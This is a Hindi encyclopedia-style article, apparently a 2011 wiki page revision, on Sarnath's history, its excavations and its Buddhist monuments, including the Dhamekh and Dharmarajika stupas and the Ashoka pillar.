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सारनाथ [[काशी]] से सात मील पूर्वोत्तर में स्थित बौद्धों का प्राचीन तीर्थ है, ज्ञान प्राप्त करने के बाद भगवान [[बुद्ध]] ने प्रथम उपदेश यहाँ दिया था, यहाँ से ही उन्होंने "धर्म चक्र प्रवर्तन" प्रारम्भ किया, यहाँ पर सारंगनाथ महादेव का मन्दिर है, यहाँ [[सावन]] के महीने में हिन्दुओं का मेला लगता है। यह [[जैन]] तीर्थ है और जैन ग्रन्थों में इसे सिंहपुर बताया है। सारनाथ की दर्शनीय वस्तुयें-[[अशोक]] का चतुर्मुख सिंहस्तम्भ, भगवान बुद्ध का मन्दिर, धमेख [[स्तूप]], चौखन्डी स्तूप, राजकीय संग्राहलय, जैन मन्दिर, चीनी मन्दिर, मूलंगधकुटी और नवीन विहार हैं, [[मुहम्मद ग़ोरी|मुहम्मद ग़ोरी]] ने इसे लगभग ख़त्म कर दिया था, '''सन 1905 में पुरातत्त्व विभाग ने यहाँ खुदाई का काम किया, उस समय [[बौद्ध]] धर्म के अनुयायियों और इतिहासवेत्ताओं का ध्यान इस पर गया।'''
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सारनाथ [[काशी]] से सात मील पूर्वोत्तर में स्थित बौद्धों का प्राचीन तीर्थ है, ज्ञान प्राप्त करने के बाद भगवान [[बुद्ध]] ने प्रथम उपदेश यहाँ दिया था, यहाँ से ही उन्होंने "धर्म चक्र प्रवर्तन" प्रारम्भ किया, यहाँ पर सारंगनाथ महादेव का मन्दिर है, यहाँ [[सावन]] के महीने में हिन्दुओं का मेला लगता है। यह [[जैन]] तीर्थ है और जैन ग्रन्थों में इसे सिंहपुर बताया है। सारनाथ की दर्शनीय वस्तुयें-[[अशोक]] का चतुर्मुख सिंहस्तम्भ, भगवान बुद्ध का मन्दिर, धमेख [[स्तूप]], चौखन्डी स्तूप, राजकीय संग्राहलय, जैन मन्दिर, चीनी मन्दिर, मूलंगधकुटी और नवीन विहार हैं, [[मुहम्मद ग़ोरी|मुहम्मद ग़ोरी]] ने इसे लगभग ख़त्म कर दिया था, '''सन 1905 में [[पुरातत्त्व]] विभाग ने यहाँ खुदाई का काम किया, उस समय [[बौद्ध]] धर्म के अनुयायियों और इतिहासवेत्ताओं का ध्यान इस पर गया।'''
 
==परिचय==
 
==परिचय==
 
काशी अथवा वाराणसी से लगभग 10 किलोमीटर दूर स्थित सारनाथ प्रसिद्ध बौद्ध तीर्थ है। पहले यहाँ घना वन था और मृग-विहार किया करते थे। उस समय इसका नाम 'ऋषिपत्तन मृगदाय' था। ज्ञान प्राप्त करने के बाद [[गौतम बुद्ध]] ने अपना प्रथम उपदेश यहीं पर दिया था।  
 
काशी अथवा वाराणसी से लगभग 10 किलोमीटर दूर स्थित सारनाथ प्रसिद्ध बौद्ध तीर्थ है। पहले यहाँ घना वन था और मृग-विहार किया करते थे। उस समय इसका नाम 'ऋषिपत्तन मृगदाय' था। ज्ञान प्राप्त करने के बाद [[गौतम बुद्ध]] ने अपना प्रथम उपदेश यहीं पर दिया था।  

09:42, 3 अक्टूबर 2011 का अवतरण

सारनाथ
सारनाथ स्तूप
विवरण वाराणसी से लगभग 10 किलोमीटर दूर स्थित सारनाथ प्रसिद्ध बौद्ध तीर्थ है। पहले इसका नाम 'ऋषिपत्तन मृगदाय' था। ज्ञान प्राप्त करने के बाद गौतम बुद्ध ने अपना प्रथम उपदेश यहीं पर दिया था।
राज्य उत्तर प्रदेश
ज़िला वाराणसी
भौगोलिक स्थिति उत्तर- 25° 22' 52" - पूर्व- 83° 01' 17"
मार्ग स्थिति राष्ट्रीय राजमार्ग 28 सारनाथ को अनेक शहरों से जोड़ता है।
प्रसिद्धि भगवान बुद्ध का मन्दिर
कब जाएँ अक्टूबर से मार्च
कैसे पहुँचें टैक्सी, बस, रेल आदि
हवाई अड्डा सारनाथ का निकटतम हवाई अड्डा बाबातपुर, वाराणसी में है जो सारनाथ से 30 किलोमीटर की दूरी पर है।
रेलवे स्टेशन सारनाथ का निकटतम रेलवे स्टेशन वाराणसी केंट है जो लगभग 6 किलोमीटर दूर है। सारनाथ का भी एक रेलवे स्टेशन है लेकिन उस पर कम ही रेलगाड़ी रुकती हैं।
बस अड्डा सारनाथ के आस-पास के अनेक शहरों से सारनाथ जाने के लिए नियमित बसों की सुविधा उपलब्ध है।
यातायात विमान, रेल, बस, टैक्सी
क्या देखें अशोक का चतुर्मुख सिंहस्तम्भ, धमेख स्तूप, चौखन्डी स्तूप, राजकीय संग्राहलय, जैन मन्दिर आदि।
कहाँ ठहरें होटल, धर्मशाला, अतिथि ग्रह
एस.टी.डी. कोड 0542
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भाषा हिन्दी और अंग्रेज़ी

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सारनाथ काशी से सात मील पूर्वोत्तर में स्थित बौद्धों का प्राचीन तीर्थ है, ज्ञान प्राप्त करने के बाद भगवान बुद्ध ने प्रथम उपदेश यहाँ दिया था, यहाँ से ही उन्होंने "धर्म चक्र प्रवर्तन" प्रारम्भ किया, यहाँ पर सारंगनाथ महादेव का मन्दिर है, यहाँ सावन के महीने में हिन्दुओं का मेला लगता है। यह जैन तीर्थ है और जैन ग्रन्थों में इसे सिंहपुर बताया है। सारनाथ की दर्शनीय वस्तुयें-अशोक का चतुर्मुख सिंहस्तम्भ, भगवान बुद्ध का मन्दिर, धमेख स्तूप, चौखन्डी स्तूप, राजकीय संग्राहलय, जैन मन्दिर, चीनी मन्दिर, मूलंगधकुटी और नवीन विहार हैं, मुहम्मद ग़ोरी ने इसे लगभग ख़त्म कर दिया था, सन 1905 में पुरातत्त्व विभाग ने यहाँ खुदाई का काम किया, उस समय बौद्ध धर्म के अनुयायियों और इतिहासवेत्ताओं का ध्यान इस पर गया।

परिचय

काशी अथवा वाराणसी से लगभग 10 किलोमीटर दूर स्थित सारनाथ प्रसिद्ध बौद्ध तीर्थ है। पहले यहाँ घना वन था और मृग-विहार किया करते थे। उस समय इसका नाम 'ऋषिपत्तन मृगदाय' था। ज्ञान प्राप्त करने के बाद गौतम बुद्ध ने अपना प्रथम उपदेश यहीं पर दिया था।

सम्राट अशोक के समय में यहाँ बहुत से निर्माण-कार्य हुए। सिंहों की मूर्ति वाला भारत का राजचिह्न सारनाथ के अशोक के स्तंभ के शीर्ष से ही लिया गया है। यहाँ का 'धमेक स्तूप' सारनाथ की प्राचीनता का आज भी बोध कराता है। विदेशी आक्रमणों और परस्पर की धार्मिक खींचातानी के कारण आगे चलकर सारनाथ का महत्त्व कम हो गया था। मृगदाय में सारंगनाथ महादेव की मूर्ति की स्थापना हुई और स्थान का नाम सारनाथ पड़ गया।

धमेख स्तूप, सारनाथ

प्राचीन नाम

इसका प्राचीन नाम ऋषिपतन (इसिपतन या मृगदाव) (हिरनों का जंगल) था। ऋषिपतन से तात्पर्य ‘ऋषि का पतन’ से है जिसका आशय है वह स्थान जहाँ किसी एक बुद्ध ने गौतम बुद्ध भावी संबोधि को जानकर निर्वाण प्राप्त किया था।[1] मृगों के विचरण करने वाले स्थान के आधार पर इसका नाम मृगदाव पड़ा, जिसका वर्णन निग्रोधमृग जातक में भी आया है।[2] आधुनिक नाम ‘सारनाथ’ की उत्पत्ति ‘सारंगनाथ’ (मृगों के नाथ) अर्थात् गौतम बुद्ध से हुई।

बोधिसत्व की कथा से संबंध

जिसका संबंध बोधिसत्व की एक कथा से भी जोड़ा जाता है। वोधिसत्व ने अपने किसी पूर्वजन्म में, जब वे मृगदाव में मृगों के राजा थे, अपने प्राणों की बलि देकर एक गर्भवती हरिणी की जान बचाई थी। इसी कारण इस वन को सार-या सारंग (मृग)- नाथ कहने लगे। रायबहादुर दयाराम साहनी के अनुसार शिव को भी पौराणिक साहित्य में सारंगनाथ कहा गया है और महादेव शिव की नगरी काशी की समीपता के कारण यह स्थान शिवोपासना की भी स्थली बन गया। इस तथ्य की पुष्टि सारनाथ में, सारनाथ नामक शिवमंदिर की वर्तमानता से होती है।

इतिहास

बुद्ध के प्रथम उपदेश (लगभग 533 ई.पू.) से 300 वर्ष बाद तक का सारनाथ का इतिहास अज्ञात है: क्योंकि उत्खनन से इस काल का कोई भी अवशेष नहीं प्राप्त हुआ है।[3] सारनाथ की समृद्धि और बौद्ध धर्म का विकास सर्वप्रथम अशोक के शासनकाल में दृष्टिगत होता है। उसने सारनाथ में धर्मराजिका स्तूप, धमेख स्तूप एवं सिंह स्तंभ का निर्माण करवाया। अशोक के उत्तराधिकारियों के शासन-काल में पुन: सारनाथ अवनति की ओर अग्रसर होने लगा। ई.पू. दूसरी शती में शुंग राज्य की स्थापना हुई, लेकिन सारनाथ से इस काल का कोई लेख नहीं मिला। प्रथम शताब्दी ई. के लगभग उत्तर भारत के कुषाण राज्य की स्थापना के साथ ही एक बार पुन: बौद्ध धर्म की उन्नति हुई। कनिष्क के राज्यकाल के तीसरे वर्ष में भिक्षु बल ने यहाँ एक बोधिसत्व प्रतिमा की स्थापना की। कनिष्क ने अपने शासन-काल में न केवल सारनाथ में वरन् भारत के विभिन्न भागों में बहुत-से विहारों एवं स्तूपों का निर्माण करवाया।

एक स्थानीय किंवदंती के अनुसार बौद्ध धर्म के प्रचार के पूर्व सारनाथ शिवोपासना का केंद्र था। किंतु , जैसे गया आदि और भी कई स्थानों के इतिहास से प्रमाणित होता है बात इसकी उल्टी भी हो सकती है, अर्थात बौद्ध धर्म के पतन के पश्चात ही शिव की उपासना यहाँ प्रचलित हुई हो। जान पड़ता है कि जैसे कई प्राचीन विशाल नगरों के उपनगर या नगरोद्यान थे (जैसे प्राचीन विदिशा का साँची, अयोध्या का साकेत आदि) उसी प्रकार सारनाथ में मूलत: ऋषियों या तपस्वियों के आश्रम स्थित थे जो उन्होंने काशी के कोलाहल से बचने के लिए, किंतु फिर भी महान नगरी के सान्निध्य में, रहने के लिए बनाए थे।

धमेख स्तूप, जैन मंदिर, सारनाथ

सारनाथ के इतिहास में सबसे गौरवपूर्ण समय गुप्तकाल था। उस समय यह मथुरा के अतिरिक्त उत्तर भारत में कला का सबसे बड़ा केंद्र था। हर्ष के शासन-काल में ह्वेन त्सांग भारत आया था। उसने सारनाथ को अत्यंत खुशहाल बताया था। हर्ष के बाद कई सौ वर्ष तक सारनाथ विभिन्न शासकों के अधिकार में था लेकिन इनके शासनकाल में कोई विशेष उपलब्धि नहीं हो पाई। महमूद ग़ज़नवी (1017 ई.) के वाराणसी आक्रमण के समय सारनाथ को अत्यधिक क्षति पहुँची। पुन: 1026 ई. में सम्राट महीपाल के शासन काल में स्थिरपाल और बसन्तपाल नामक दो भाइयों ने सम्राट की प्रेरणा से काशी के देवालयों के उद्धार के साथ-साथ धर्मराजिका स्तूप एवं धर्मचक्र का भी उद्धार किया। गाहड़वाल वेश के शासन-काल में गोविंदचंद्र की रानी कुमार देवी ने सारनाथ में एक विहार बनवाया था।[4] उत्खनन से प्राप्त एक अभिलेख से भी इसकी पुष्टि होती है[5] इसके पश्चात् सारनाथ की वैभव का अंत हो गया।

सारनाथ का उत्खनन

सारनाथ के संदर्भ के ऐतिहासिक जानकारी पुरातत्त्वविदों को उस समय हुई जब काशीनरेश चेत सिंह के दीवान जगत सिंह ने धर्मराजिका स्तूप को अज्ञानवश खुदवा डाला। इस घटना से जनता का आकर्षण सारनाथ की ओर बढ़ा। इस क्षेत्र का सर्वप्रथम सीमित उत्खनन कर्नल कैकेंजी ने 1815 ई. में करवाया[6] लेकिन उनको कोई महत्त्वपूर्ण सफलता नहीं मिली। इस उत्खनन से प्राप्त सामग्री अब कलकत्ता के भारतीय संग्रहालय में सुरक्षित है। कैकेंजी के उत्खनन के 20 वर्ष पश्चात् 1835-36 में कनिंघम ने सारनाथ का विस्तृत उत्खनन करवाया। उत्खनन में उन्होंने मुख्य रूप से धमेख स्तूप, चौखंडी स्तूप एवं मध्यकालीन विहारों को खोद निकाला।[7] कनिंघम का धमेख स्तूप से 3 फुट नीचे 600 ई. का एक अभिलिखित शिलापट्ट (28 ¾ इंच X 13 इंच X 43 इंच आकार का) मिला।[8]

बौद्ध भिक्षुओं को शिक्षा देते हुए भगवान बुद्ध

इसके अतिरिक्त यहाँ से बड़ीं संख्या में भवनों में प्रयुक्त पत्थरों के टुकड़े एवं मूर्तियाँ भी मिलीं, जो अब कलकत्ता के भारतीय संग्रहालय में सुरक्षित हैं। 1851-52 ई. में मेजर किटोई ने यहाँ उत्खनन करवाया जिसमें उन्हें धमेख स्तूप के आसपास अनेक स्तूपों एवं दो विहारों के अवशेष मिले, परंतु इस उत्खनन की रिपोर्ट प्रकाशित न हो सकी। किटोई के उपरांत एडवर्ड थामस[9] तथा प्रो. फिट्ज एडवर्ड हार्न[10] ने खोज कार्य जारी रखा। उनके द्वारा उत्खनित वस्तुएँ अब भारतीय संग्रहालय कलकत्ता में हैं।

इस क्षेत्र का सर्वप्रथम विस्तृत एवं वैज्ञानिक उत्खनन एच.बी. ओरटल ने करवाया।[11] उत्खनन 200 वर्ग फुट क्षेत्र में किया गया। यहाँ से मुख्य मंदिर तथा अशोक स्तंभ के अतिरिक्त बड़ी संख्या में मूर्तियाँ एवं शिलालेख मिले हैं। प्रमुख मूर्तियों में बोधिसत्व की विशाल अभिलिखित मूर्ति, आसनस्थ बुद्ध की मूर्ति, अवलोकितेश्वर, बोधिसत्व, मंजुश्री, नीलकंठ की मूर्तियाँ तथा तारा, वसुंधरा आदि की प्रतिमाएँ भी हैं।

पुरातत्त्व विभाग के डायरेक्टर जनरल जान मार्शल ने अपने सहयोगियों स्टेनकोनो और दयाराम साहनी के साथ 1907 में सारनाथ के उत्तर-दक्षिण क्षेत्रों में उत्खनन किया। उत्खनन से उत्तर क्षेत्र में तीन कुषाणकालीन मठों का पता चला। दक्षिण क्षेत्र से विशेषकर धर्मराजिका स्तूप के आसपास तथा धमेख स्तूप के उत्तर से उन्हें अनेक छोटे-छोटे स्तूपों एवं मंदिरों के अवशेष मिले। इनमें से कुमारदेवी के अभिलेखों से युक्त कुछ मूर्तियाँ विशेष महत्त्व की हैं।[12] उत्खनन का यह कार्य बाद के वर्षों में भी जारी रहा। 1914 से 1915 ई. में एच. हारग्रीव्स ने मुख्य मंदिर के पूर्व और पश्चिम में खुदाई करवाई। उत्खनन में मौर्यकाल से लेकर मध्यकाल तक की अनेक वस्तुएँ मिली।[13]

इस क्षेत्र का अंतिम उत्खनन दयाराम साहनी के निर्देशन में 5 सत्रों तक चलता रहा।[14] धमेख स्तूप से मुख्य मंदिर तक के संपूर्ण क्षेत्र का उत्खनन किया गया। इस उत्खनन से दयाराम साहनी को एक 1 फुट 9 ½ इंच लंबी, 2 फुट 7 इंच चौड़ी तथा 3 फुट गहरी एक नाली के अवशेष मिले।[15]

उपर्युक्त उत्खननों से निम्नलिखित स्मारक प्रकाश में आए हैं-

चौखंडी स्तूप

सारनाथ में घण्टा

धमेख स्तूप से आधा मील दक्षिण यह स्तूप स्थित है, जो सारनाथ के अवशिष्ट स्मारकों से अलग हैं। इस स्थान पर गौतम बुद्ध ने अपने पाँच शिष्यों को सबसे प्रथम उपदेश सुनाया था जिसके स्मारकस्वरूप इस स्तूप का निर्माण हुआ। ह्वेनसाँग ने इस स्तूप की स्थिति सारनाथ से 0.8 कि.मी. दक्षिण-पश्चिम में बताई है, जो 91.44 मी. ऊँचा था।[16] इसकी पहचान चौखंडी स्तूप से ठीक प्रतीत होती है। इस स्तूप के ऊपर एक अष्टपार्श्वीय बुर्जी बनी हुई है। इसके उत्तरी दरवाजे पर पड़े हुए पत्थर पर फ़ारसी में एक लेख उल्लिखित है, जिससे ज्ञात होता है कि टोडरमल के पुत्र गोवर्द्धन सन् 1589 ई. (996 हिजरी) में इसे बनवाया था। लेख में वर्णित है कि हुमायूँ ने इस स्थान पर एक रात व्यतीत की थी, जिसकी यादगार में इस बुर्ज का निर्माण संभव हुआ।[17]

एलेक्जेंडर कनिंघम ने 1836 ई. में इस स्तूप में रखे समाधि चिन्हों की खोज में इसके केंद्रीय भाग में खुदाई की, इस खुदाई से उन्हें कोई महत्त्वपूर्ण वस्तु नहीं मिली। सन् 1905 ई. में श्री ओरटेल ने इसकी फिर से खुदाई की। उत्खनन में इन्हें कुछ मूर्तियाँ, स्तूप की अठकोनी चौकी और चार गज ऊँचे चबूतरे मिले। चबूतरे में प्रयुक्त ऊपर की ईंटें 12 इंच X10 इंच X2 ¾ इंच और 14 ¾ X10 इंच X2 ¾ इंच आकार की थीं जबकि नीचे प्रयुक्त ईंटें 14 ½ इंच X 9 इंच X2 ½ इंच आकार की थीं।[18]

इस स्तूप का ‘चौखंडी‘ नाम पुराना जान पड़ता है। इसके आकार-प्रकार से ज्ञात होता है कि एक चौकोर कुर्सी पर ठोस ईंटों की क्रमश: घटती हुई तीन मंज़िले बनाई गई थीं। सबसे ऊपर मंज़िल की खुली छत पर संभवत: कोई प्रतिमा स्थापित थी। गुप्तकाल में इस प्रकार के स्तूपों को ‘त्रिमेधि स्तूप’ कहते थे।[19] उत्खनन से प्राप्त सामग्रियों के आधार पर यह निश्चित हो जाता है कि गुप्तकाल में इस स्तूप का निर्माण हो चुका था।

धर्मराजिका स्तूप

इस स्तूप का निर्माण अशोक ने करवाया था। दुर्भाग्यवश 1794 ई. में जगत सिंह के आदमियों ने काशी का प्रसिद्ध मुहल्ला जगतगंज बनाने के लिए इसकी ईंटों को खोद डाला था। खुदाई के समय 8.23 मी. की गहराई पर एक प्रस्तर पात्र के भीतर संगरमरमर की मंजूषा में कुछ हड्डिया: एवं सुवर्णपात्र, मोती के दाने एवं रत्न मिले थे, जिसे उन्होंने विशेष महत्त्व का न मानकर गंगा में प्रवाहित कर दिया।[20] यहाँ से प्राप्त महीपाल के समय के 1026 ई. के एक लेख में यह उल्लेख है कि स्थिरपाल और बसंतपाल नामक दो बंधुओं ने धर्मराजिका और धर्मचक्र का जीर्णोद्धार किया।[21]

धमेख स्तूप पर नक़्क़ाशी, सारनाथ

1907-08 ई. में मार्शल के निर्देशन में खुदाई से इस स्तूप के क्रमिक परिनिर्माणों के इतिहास का पता चला।[22] इस स्तूप का कई बार परिवर्द्धन एवं संस्कार हुआ। इस स्तूप के मूल भाग का निर्माण अशोक ने करवाया था। उस समय इसका व्यास 13.48 मी. (44 फुट 3 इंच) था। इसमें प्रयुक्त कीलाकार ईंटों की माप 19 ½ इंच X 14 ½ इंच X 2 ½ इंच और 16 ½ इंच X 12 ½ इंच X 3 ½ इंच थी। सर्वप्रथम परिवर्द्धन कुषाण-काल या आरंभिक गुप्त-काल में हुआ। इस समय स्तूप में प्रयुक्त ईंटों की माप 17 इंच X10 ½ इंच X 2 ¾ ईच थी। दूसरा परिवर्द्धन हूणों के आक्रमण के पश्चात् पाँचवी या छठी शताब्दी में हुआ। इस समय इसके चारों ओर 16 फुट (4.6 मीटर) चौड़ा एक प्रदक्षिणा पथ जोड़ा गया। तीसरी बार स्तूप का परिवर्द्धन हर्ष के शासन-काल (7वीं सदी) में हुआ। उस समय स्तूप के गिरने के डर से प्रदक्षिणा पथ को ईंटों से भर दिया गया और स्तूप तक पहुँचने के लिए सीढ़ियाँ लगा दी गईं। चौथा परिवर्द्धन बंगाल नरेश महीपाल ने महमूद ग़ज़नवी के आक्रमण के दस वर्ष वाद कराया। अंतिम पुनरुद्धार लगभग 1114 ई. से 1154 ई. के मध्य हुआ।[23] इसके पश्चात् मुसलमानों के आक्रमण ने सारनाथ को नष्ट कर दिया।

उत्खनन से इस स्तूप से दो मूर्तियाँ मिलीं। ये मूर्तियाँ सारनाथ से प्राप्त मूर्तियों में मुख्य हैं। पहली मूर्ति कनिष्क के राज्य संवत्सर 3 (81 ई.) में स्थापित विशाल बोधिसत्व प्रतिमा और दूसरी धर्मचक्रप्रवर्तन मुद्रा में भगवान बुद्ध की मूर्ति। ये मूर्तियाँ सारनाथ की सर्वश्रेष्ठ कलाकृतियाँ हैं।

मूलगंध कुटी विहार

मूलगंध कुटी विहार, सारनाथ

यह विहार धर्मराजिका स्तूप से उत्तर की ओर स्थित है। पूर्वाभिमुख इस विहार की कुर्सी चौकोर है जिसकी एक भुजा 18.29 मी. है। सातवीं शताब्दी में भारत-भ्रमण पर आए चीनी यात्री ह्वेन त्सांग ने इसका वर्णन 200 फुट ऊँचे मूलगंध कुटी विहार के नाम से किया है।[24] इस मंदिर पर बने हुए नक़्क़ाशीदार गोले और नतोदर ढलाई, छोटे-छोटे स्तंभों तथा सुदंर कलापूर्ण कटावों आदि से यह निश्चित हो जाता है कि इसका निर्माण गुप्तकाल में हुआ था।[25] परंतु इसके चारों ओर मिट्टी और चूने की बनी हुई पक्की फर्शों तथा दीवालों के बाहरी भाग में प्रयुक्त अस्त-व्यस्त नक़्क़ाशीदार पत्थरों के आधार पर कुछ विद्धानों ने इसे 8वीं शताब्दी के लगभग का माना है।

ऐसा प्रतीत होता है कि इस मंदिर के बीच में बने मंडप के नीचे प्रारंभ में भगवान् बुद्ध की एक सोने की चमकीली आदमक़द मूर्ति स्थापित थी। मंदिर में प्रवेश के लिए तीनों दिशाओं में एक-एक द्वार और पूर्व दिशा में मुख्य प्रवेश द्वार (सिंह द्वार) था। कालांतर में जब मंदिर की छत कमज़ोर होने लगी तो उसकी सुरक्षा के लिए भीतरी दक्षिणापथ को दीवारें उठाकर बन्द कर दिया गया। अत: आने जाने का रास्ता केवल पूर्व के मुख्य द्वार से ही रह गया। तीनों दरवाजों के बंद हो जाने से ये कोठरियों जैसी हो गई, जिसे बाद में छोटे मंदिरों का रूप दे दिया गया। 1904 ई. में श्री ओरटल को खुदाई कराते समय दक्षिण वाली कोठरी में एकाश्मक पत्थर से निर्मित 9 ½ X 9 ½ फुट की मौर्यकालीन वेदिका मिली। इस वेदिका पर उस समय की चमकदार पालिश है। यह वेदिका प्रारम्भ में धर्मराजिका स्तूप के ऊपर हार्निका के चारों ओर लगी थीं। इस वेदिका पर कुषाणकालीन ब्राह्यी लिपि में दो लेख अंकित हैं- ‘आचाया (य्र्या) नाँ सर्वास्तिवादि नां परिग्रहेतावाम्’ और ‘आचार्यानां सर्वास्तिवादिनां परिग्राहे’। इन दोनों लेखों से यह ज्ञात होता है कि तीसरी शताब्दी ई. में यह वेदिका सर्वास्तिवादी संप्रदाय के आचार्यों को भेंट की गई थी।

अशोक स्तंभ, सारनाथ

अशोक स्तंभ

मुख्य मंदिर से पश्चिम की ओर एक अशोककालीन प्रस्तर-स्तंभ है जिसकी ऊँचाई प्रारंभ में 17.55 मी. (55 फुट) थी। वर्तमान समय में इसकी ऊँचाई केवल 2.03 मीटर (7 फुट 9 इंच) है। स्तंभ का ऊपरी सिरा अब सारनाथ संग्रहालय में है। नींव में खुदाई करते समय यह पता चला कि इसकी स्थापना 8 फुट X16 फुट X18 इंच आकार के बड़े पत्थर के चबूतरे पर हुई थी।[26] इस स्तंभ पर तीन लेख उल्लिखित हैं। पहला लेख अशोक कालीन ब्राह्मी लिपि में है जिसमें सम्राट ने आदेश दिया है कि जो भिछु या भिक्षुणी संघ में फूट डालेंगे और संघ की निंदा करेंगे: उन्हें सफ़ेद कपड़े पहनाकर संघ के बाहर निकाल दिया जाएगा। दूसरा लेख कुषाण-काल का है। तीसरा लेख गुप्त काल का है, जिसमें सम्मितिय शाखा के आचार्यों का उल्लेख किया गया है।[27]

संघारामों का क्षेत्र

सारनाथ का प्रवेश द्वार

भिक्षुओं के निवास के लिए कई संघारामों का निर्माण किया गया था। इन संघारामों में दो कुषाण काल के थे। इन सभी संघारामों में मुख्यत: एक प्रवेश द्वार, बीच में आँगन, आँगन के चारों ओर खंभों पर आश्रित बरामदा और कोठरियाँ बनीं थीं।

संघाराम 1 (धर्मचक्रजिन विहार)

इस विहार का निर्माण कन्नौज के गहड़वाल शासक गोविंदचंद (1114-1154 ई.) की पत्नी कुमारदेवी ने करवाया था। इस विहार की पूर्व से पश्चिम लंबाई 760 फुट थी।[28] इसके आँगन की फर्श पकी ईंटों से ढकी थी जिसके तीन ओर कमरे निर्मित थे। विहार की कुर्सी 8 फुट ऊँची थी जिसमें प्रयुक्त ईंटों की चिनाई नियमित है, यद्यपि भिक्षुओं के रहने के कक्ष अब ढह चुके हैं। प्रवेश के लिए पूर्व की ओर दो सिंह द्वार थे जिनके बीच की दूरी 88.89 मी. (290 फुट) थी।[29] प्रवेश के दोनों ओर बड़े कक्ष थे। द्वार की बुर्जियों में जुड़ाई सुंदर एवं अलंकृत हैं। इस विहार के नीचे पूर्वकालीन तीन विहारों के अवशेष पाए गए हैं। पश्चिमी किनारे पर विहार संख्या-2, कुमारदेवी विहार के पूर्वी तोरण के सामने विहार-संख्या-3 और दो सिंह द्वारों के मध्य ज़मीन के नीचे विहार संख्या-4 हैं।

इस विहार के पश्चिम की ओर एक पटी हुई सुरंग (54.85 मी. लंबी) मिली है जिसकी चौड़ाई 1.83 मीं. है। इसकी दीवालों में पत्थर और ईंटों की चिनाई है। यह सुरंग एक कमरे में जाकर समाप्त हो जाती।[30] यहाँ से प्राप्त सभी मूर्तियाँ मध्यकालीन हैं।

धमेख स्तूप पर नक़्क़ाशी, सारनाथ
संघाराम 2, 3, 4
  • संघाराम 2 आरंभिक गुप्तकाल का है। इसके मध्य में 27.69 मीं. (90 फुट) का एक चौकोर आँगन था, जिसके चारों ओर 0.99 मीटर (3 फुट 3 इंच) आकार की छोटी दीवाल थी जिसके ऊपर बरामदे के खम्भे उठाए गए थे। बरामदे के पीछे कक्षों की पंक्तियाँ थीं जिनमें से अब केवल नौ कमरों के चिह्न बचे हैं।[31]
  • संघाराम 3 की कुर्सी अत्यन्त नीची है और इसका तलपत्तन संघाराम 2 के सदृश्य था। उत्खनन से पश्चिम की ओर एक मन्दिर, दक्षिण की ओर चार कक्ष, बरामदे का कुछ भाग तथा आँगन के अवशेष मिले हैं। बाहरी दीवाल 5 फुट 6 इंच चौड़ी थी। खंभों पर बनी शैली से यह विहार कुषाणकालीन प्रतीत होता है। दीवालों की औसत ऊँचाई 3.04 (10 फुट) थी। इन्हें देखने से ऐसा प्रतीत होता है कि यह इमारत दो मंज़िल की रही होगी। उत्खनन से आँगन के बीच में 10 इंच गहरी और 7 इंच चौड़ी एक ढकी नाली के भी अवशेष मिले हैं।[32]
  • संघाराम 4 का आँगन भूमि से 4.42 मीटर (14 फुट 6 इंच) नीचे था। उत्खनन में आँगन और बरामदे का कुछ भाग तथा पूर्व की ओर दो कोठरियों के अवशेष प्रकाश में आए हैं। बरामदे के खंभों की पंक्ति संघाराम 3 की भाँति 2 फुट 2 इंच ऊँची दीवाल पर निर्मित थी। बरामदे की चौड़ई 7 फुट 10 इंच तक थी।[33]

धमेख स्तूप (धर्मचक्र स्तूप)

धमेख स्तूप, जैन मंदिर, सारनाथ

यह स्तूप एक ठोस गोलाकार बुर्ज की भाँति है। इसका व्यास 28.35 मीटर (93 फुट) और ऊँचाई 39.01 मीटर (143 फुट) 11.20 मीटर तक इसका घेरा सुंदर अलंकृत शिलापट्टों से आच्छादित है। इसका यह आच्छादन कला की दृष्टि से अत्यंत सुंदर एवं आकर्षक है। अलंकरणों में मुख्य रूप से स्वस्तिक, नन्द्यावर्त सदृश विविध आकृतियाँ और फूल-पत्ती के कटाव की बेलें हैं। इस प्रकार के वल्लरी प्रधान अलंकरण बनाने में गुप्तकाल के शिल्पी पारंगत थे। इस स्तूप की नींव अशोक के समय में पड़ी। इसका विस्तार कुषाण-काल में हुआ, लेकिन गुप्तकाल में यह पूर्णत: तैयार हुआ। यह साक्ष्य पत्थरों की सजावट और उन पर गुप्त लिपि में अंकित चिन्हों से निश्चित होता है।

कनिंघम ने सर्वप्रथम इस स्तूप के मध्य खुदाई कराकर 0.91 मीटर (3 फुट) नीचे एक शिलापट्ट प्राप्त किया था। इस शिलापट्ट पर सातवीं शताब्दी की लिपि में ‘ये धर्महेतु प्रभवा’ मंच अंकित था। इस स्तूप में प्रयुक्त ईंटें 14 ½ इंच X 8 ½ इंच X 2 ¼ इंच आकार की हैं।[34]

धमेक (धमेख) शब्द की उत्पत्ति के बारे में विद्वानों का मत है कि यह संस्कृत के ‘धर्मेज्ञा’ शब्द से निकला है। किंतु 11 वीं शताब्दी की एक मुद्रा पर ‘धमाक जयतु’ शब्द मिलता है। जिससे उसकी उत्पत्ति का ऊपर लिखे शब्द से संबंधित होना संदेहास्पद लगता है। इस मुद्रा में इस स्तूप को धमाक कहा गया है। इसे लोग बड़ी आदर की दृष्टि से देखते थे और इसकी पूजा करते थे।[35] कनिंघम ने ‘धमेख’ शब्द को संस्कृत शब्द ‘धर्मोपदेशक’ का संक्षिप्त रूप स्वीकार किया है।[36] उल्लेखनीय है कि बुद्ध ने सर्वप्रथम यहाँ ‘धर्मचक्र’ प्रारंभ किया था। अत: ऐसा संभव है कि इस कारण ही इसका नाम धमेख पड़ा हो।

अकथा का उत्खनन

अकथा नामक पुरास्थल (83°0’ पूर्वी अक्षाँश और 25°22’ उत्तरी देशांतर के मध्य) सारनाथ से 2 किलोमीटर दक्षिण-पश्चिम में स्थित हैं। इस स्थल का उत्खनन प्राचीन भारतीय इतिहास, संस्कृति एवं पुरातत्त्व विभाग, काशी हिन्दू विश्वविद्यालय के प्रो. विदुला जायसवाल एवं डॉ. बीरेन्द्र प्रताप सिंह के संयुक्त निर्देशन में उनके विभागीय सहयोगी डॉ. अशोक कुमार सिंह द्वारा फ़रवरी-अप्रैल, 2002 के मध्य किया गया।[37]

कग्यू तिब्बती मठ, सारनाथ

